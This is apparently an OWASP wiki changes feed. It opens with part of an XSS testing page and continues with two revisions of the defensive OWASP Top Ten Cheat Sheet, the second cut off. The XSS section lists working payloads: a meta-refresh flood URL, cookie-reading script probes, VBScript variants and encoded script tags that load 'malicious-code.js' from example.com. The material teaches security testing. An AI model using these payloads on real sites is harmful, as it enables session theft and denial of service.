At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack.&lt;br /&gt;
In some cases a Denial of Service attack can be performed on the server by doing the following:      &lt;br /&gt;
&lt;br /&gt;
 article.php?title=&amp;lt;meta%20http-equiv=&amp;quot;refresh&amp;quot;%20content=&amp;quot;0;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests, potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes. &lt;br /&gt;
&lt;br /&gt;
The '''DOM-based Cross-Site Scripting''' problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.&lt;br /&gt;
Exploiting such a hole would be very similar to the exploitation of Reflected XSS vulnerabilities, except in one very important situation. &lt;br /&gt;
&lt;br /&gt;
For example, if an attacker hosts a malicious website which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.&lt;br /&gt;
&lt;br /&gt;
The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how posting a stored XSS script to a popular blog, newspaper, or page comments section of a website can cause all the visitors of that page to have their internal networks scanned and logged for a particular type of vulnerability.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://server/cgi-bin/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult.&lt;br /&gt;
&lt;br /&gt;
'''Example 1:'''&lt;br /&gt;
&lt;br /&gt;
Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case, rendering Cross Site Scripting utilizing inline JavaScript useless.  If this is the case, you may want to use VBScript since it is not a case sensitive language.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also, you can use the SRC attribute to load the attacker's JavaScript from an external site (see Example 2 below), causing the JavaScript payload to be loaded directly and bypassing capitalization effects altogether.&lt;br /&gt;
&lt;br /&gt;
'''Example 2:'''&lt;br /&gt;
&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script src=http://www.example.com/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can find more examples of XSS Injection here: http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Hacking Intranet Websites from the Outside &amp;quot;JavaScript malware just got a lot more dangerous&amp;quot;&amp;quot; - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf&lt;br /&gt;
&lt;br /&gt;
* Amit Klien: &amp;quot;DOM Based Cross Site Scripting&amp;quot; - http://www.securiteam.com/securityreviews/5MP080KGKW.html&lt;br /&gt;
&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* Aung Khant: &amp;quot;What XSS Can do - Benefits of XSS From Attacker's view&amp;quot; - http://yehg.net/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://yehg.net/encoding&lt;br /&gt;
PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customized payloads.  &lt;br /&gt;
&lt;br /&gt;
* '''HackVector(HVR)''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=232000</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=232000"/>
				<updated>2017-08-03T03:39:10Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
== A1 Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
*'''[[Query Parameterization Cheat Sheet]]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
== A2 Weak authentication and session management ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
== A3 XSS ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]&lt;br /&gt;
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]&lt;br /&gt;
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]&lt;br /&gt;
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]&lt;br /&gt;
* [[Testing for HTML Injection (OTG-CLIENT-003)]]&lt;br /&gt;
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== A4 Insecure Direct Object References ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
=== Controller ===&lt;br /&gt;
Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]&lt;br /&gt;
* [[Testing for Local File Inclusion]]&lt;br /&gt;
* [[Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== A5 Security Misconfiguration ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Fingerprint Web Server (OTG-INFO-002)]]&lt;br /&gt;
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]&lt;br /&gt;
* [[Fingerprint Web Application (OTG-INFO-009)]]&lt;br /&gt;
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]&lt;br /&gt;
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]&lt;br /&gt;
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]&lt;br /&gt;
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]&lt;br /&gt;
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]&lt;br /&gt;
* [[Test HTTP Methods (OTG-CONFIG-006)]]&lt;br /&gt;
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]&lt;br /&gt;
* [[Testing for Error Code (OTG-ERR-001)]]&lt;br /&gt;
* [[Testing for Stack Traces (OTG-ERR-002)]]&lt;br /&gt;
&lt;br /&gt;
== A6 Sensitive Data Exposure ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]&lt;br /&gt;
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]&lt;br /&gt;
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]&lt;br /&gt;
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
&lt;br /&gt;
== A7 Missing Function Level Access Control ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
&lt;br /&gt;
== A8 Cross Site Request Forgery ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
== A9 Using Components with Known Vulnerabilities ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
=== Controller ===&lt;br /&gt;
=== Model ===&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
&lt;br /&gt;
== A10 Unvalidated Redirects and Forwards ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
* Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
* Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
* Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231999</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231999"/>
				<updated>2017-08-03T03:38:09Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
== A1 Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
== A2 Weak authentication and session management ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
